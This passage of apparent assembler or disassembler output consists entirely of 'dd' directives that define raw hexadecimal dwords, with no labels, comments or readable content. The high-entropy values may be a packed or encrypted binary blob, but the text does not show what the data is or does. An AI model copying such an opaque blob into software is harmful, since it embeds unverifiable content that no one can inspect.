		dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h
		dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h,	5AA59Fh
		dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah
		dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h,	0B88DC850h
		dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh,	0AA5E0033h
		dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh,	3EF58B98h
		dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh
		dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah
		dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h,	0DAC144AAh
		dd 16EC89h, 693E552h, 92EA3FEh,	3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h
		dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h,	74ECAC16h
		dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h,	0EC9E3937h
		dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh,	0AD39DE9Fh
		dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h,	2D004FF3h
		dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h
		dd 708498A4h, 0FEF28Fh,	736B6FF2h, 8CAA5524h, 8E749001h
		dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah
		dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h,	0CD3A7180h
		dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h,	2EB1215Eh
		dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh,	46002FC6h
		dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h
		dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh
		dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h
		dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh
		dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h
		dd 136FCA5h, 75323C48h,	0C8180C24h, 0AE0F1499h,	0E0232091h
		dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh,	47F20079h
		dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h,	1C1DE2FEh
		dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh
		dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh
		dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h,	2A0B24C3h
		dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh
		dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh,	0C20098D1h
		dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h
		dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h
		dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh
		dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh
		dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h,	0D8B4D753h
		dd 88FC3Fh, 0DAAD330Ch,	24CDC029h, 0F753FE00h, 1CA7A5D2h
		dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh
		dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch
		dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h,	26002D1Fh
		dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h
		dd 8339B045h, 0D5CFAAh,	0A81AC91Ch, 0BBA5EDDAh,	5A962F0Eh
		dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h
		dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch,	0E4EC3Ah
		dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h
		dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh,	0A60C0F17h
		dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh
		dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah
		dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h
		dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh,	8770808Eh
		dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch
		dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah
		dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h,	0BBBD3092h
		dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h
		dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h
		dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h
		dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h,	7822F980h
		dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah
		dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh
		dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h
		dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h
		dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah,	0C35691Fh
		dd 455ACD00h, 0E79117h,	324A8110h, 22C2098Fh, 0EFB8B000h
		dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h
		dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h
		dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah
		dd 0C73D9C15h, 388712h,	0E1B5358Eh, 207B3AD8h, 3C5A101Ch
		dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h,	3CDDA53Ah
		dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh
		dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h
		dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh,	4ED51D64h
		dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h
		dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh
		dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h
		dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h,	9E947E59h
		dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h
		dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h
		dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah,	6B5867EBh
		dd 0E106F0h, 86C403AFh,	912C2040h, 2A621D01h, 4F28023Fh
		dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h,	729A3F2Eh
		dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h
		dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h
		dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh
		dd 70AC4EA8h, 5FD5BD1h,	95796406h, 90740B9Dh, 11FEE7h
		dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h
		dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h
		dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh
		dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch
		dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h
		dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h
		dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h
		dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h
		dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh
		dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h
		dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h,	310157FDh
		dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h,	53B858h
		dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h
		dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h,	604485A7h
		dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h
		dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h,	0B35300DDh
		dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh
		dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h
		dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h
		dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah
		dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh
		dd 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h
		dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh,	0D9754F01h
		dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h,	373FE828h
		dd 1AC758h, 0EC99EA24h,	5FA858h, 264C4442h, 5B2DAF53h
		dd 0E094D500h, 3B1C98C4h
		dd 74F9A0BEh, 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h
		dd 89652E7Ah, 545E0B24h, 360040D0h, 0E40594B1h,	7E75D40Eh
		dd 81CC3A1h, 4842C020h,	50EEA6h, 19D0DC7Ch, 0D3245303h
		dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h
		dd 5F39DB31h, 0D8E2B0h,	7E1DFD94h, 7CF60542h, 82000EE6h
		dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h
		dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h,	0AFC8A500h
		dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h,	0E0E8515Fh
		dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h
		dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh
		dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh
		dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h
		dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h
		dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h
		dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h,	88B3638Ah
		dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch
		dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh
		dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh
		dd 0FEA7132h, 7607B91h,	149500D7h, 0AAD504F0h, 0F7303Bh
		dd 5BDE97D1h, 107EB8Bh,	5DC9CAD4h, 0E8871067h, 0D50027E9h
		dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh
		dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah
		dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah
		dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h
		dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h,	1877F2h
		dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h
		dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh,	44704Eh
		dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h
		dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h
		dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h,	8E700EF9h
		dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h,	5F697D02h
		dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h,	71000C9Bh
		dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h,	61776D55h
		dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch
		dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh,	66F1404Dh
		dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch
		dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h
		dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h
		dd 74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh
		dd 429E0078h, 13048FEh,	6A0E654Bh, 0C7636961h, 0D3E128C0h
		dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh,	95073052h
		dd 1447CA1Ch, 3741150h,	61670046h, 60886376h, 8BA05677h
		dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h
		dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h,	3140E65h
		dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h,	613A71h
		dd 1C0696Bh, 7A7B6DCBh,	0B7C24400h, 5A0D10DCh, 0E01C7AE1h
		dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h
		dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh
		dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h
		dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h
		dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h,	61C40775h
		dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h
		dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h,	24007CB5h
		dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h,	9178C912h
		dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h,	7481644Fh
		dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h,	262FE175h
		dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h
		dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh
		dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch,	0B140A8h
		dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h,	1BE82654h
		dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h
		dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h,	7A768B25h
		dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh,	1100B8D3h
		dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h
		dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h,	0A556EC00h
		dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh
		dd 25378AAh, 8CA82F21h,	436084DBh, 0FC7A46E9h, 930157F0h
		dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh
		dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch
		dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h
		dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h
		dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h
		dd 365097h, 0D9028E0Fh,	0C80F6CADh, 40160615h, 0EA9674Ch
		dd 11758Dh, 0B7987827h,	0C514D885h, 3C958700h, 0A15DAF9Fh
		dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h,	47823C5Eh
		dd 1B66A12h, 7F17FB56h,	851EC422h, 0BC49403h, 0D0763F0Fh
		dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h
		dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h
		dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h
		dd 14546C6h, 6EB029DEh,	0C8305399h, 2600567Eh, 82502D13h
		dd 259C7DDh, 44B3D375h,	0D3C095BAh, 400A58Dh, 4FF53FEAh
		dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh
		dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h
		dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh
		dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h
		dd 1CBA2F13h, 3455251h,	87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh
		dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah
		dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh
		dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h
		dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h
		dd 9E30E4BCh, 0D31840h,	244C283h, 0DCA12550h, 805D203Eh
		dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h
		dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h
		dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh,	821B4E42h
		dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh,	0B4B00092h
		dd 837825E9h, 46EC600h,	0E0EB72B6h, 7C75038Eh, 14AEA1A8h
		dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h
		dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h
		dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh
		dd 690C16EBh, 30B3B00h,	24CF2BCAh, 0DF8A006Fh, 0AE4927Ch
		dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h
		dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h,	96E60025h
		dd 0D4DDC30Ch, 80072089h
		dd 1DC0267Bh, 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh
		dd 450C532Ch, 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh
		dd 0A8517A00h, 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h
		dd 3FE5F685h, 7031188h,	0A4BC625Ch, 0E08DF7AEh,	0A9841D6h
		dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh
		dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h
		dd 8158CA2h, 2B7D4F0Ch,	28783F03h, 0A90C5820h, 63C510AFh
		dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h
		dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh
		dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h
		dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h,	0A391F004h
		dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h
		dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h
		dd 21B9F58h, 9C18153Bh,	1254E047h, 0C550001h, 9FAD0575h
		dd 161F8AF4h, 8414258h,	1A91CB03h, 0AF46FCh, 0B454BF2Ah
		dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh
		dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch,	0FAD0FB04h
		dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h
		dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h
		dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh
		dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h
		dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h
		dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h
		dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h,	68E8EB85h
		dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h,	0BAF5784Ah
		dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h,	0A9840003h
		dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h
		dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h
		dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h
		dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h
		dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h
		dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h
		dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch,	0EBE09237h
		dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h
		dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch,	0D1242EFAh
		dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h,	3A0075B8h
		dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh
		dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h
		dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h,	688E0E8Ch
		dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h
		dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h
		dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h
		dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h
		dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h,	9E140E12h
		dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h
		dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh
		dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h
		dd 0AE7F7Fh, 47498476h,	88D6CB55h, 23517100h, 54B88A3Eh
		dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h
		dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h
		dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h
		dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh,	0ABF00798h
		dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h
		dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h
		dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h
		dd 342D220Dh, 85000CCh,	0DED4BA04h, 0B400E542h,	6B1CDAB6h
		dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h,	920034F5h
		dd 1C5815D1h, 0E3AC6Eh,	8F433614h, 8C9C46A2h, 8A40F101h
		dd 814A3B08h, 603D840h,	428D0050h, 4D98EA0Ah, 2900E8F0h
		dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch,	0B3AE8C0Dh
		dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h,	22B5780Fh
		dd 2FA4035h, 0F3F4CB8h,	2FBF0142h, 53A22A00h, 33001034h
		dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh,	0F586E34h
		dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h
		dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch,	95845D85h
		dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh
		dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h
		dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh
		dd 4F77042h, 4F5C2A6Ah,	300D1FD0h, 0B01C8700h, 1F625FD6h
		dd 0E651C8h, 702EC949h,	0A10378BAh, 0A3015785h,	954ED020h
		dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h
		dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh,	0C62D4B9Bh
		dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh
		dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h
		dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh
		dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah
		dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah
		dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h
		dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h
		dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h
		dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h
		dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh
		dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h,	0E80FEC00h
		dd 945E6A0Dh, 41FD301h,	1CBE6096h, 31FCBD40h, 4C5001C0h
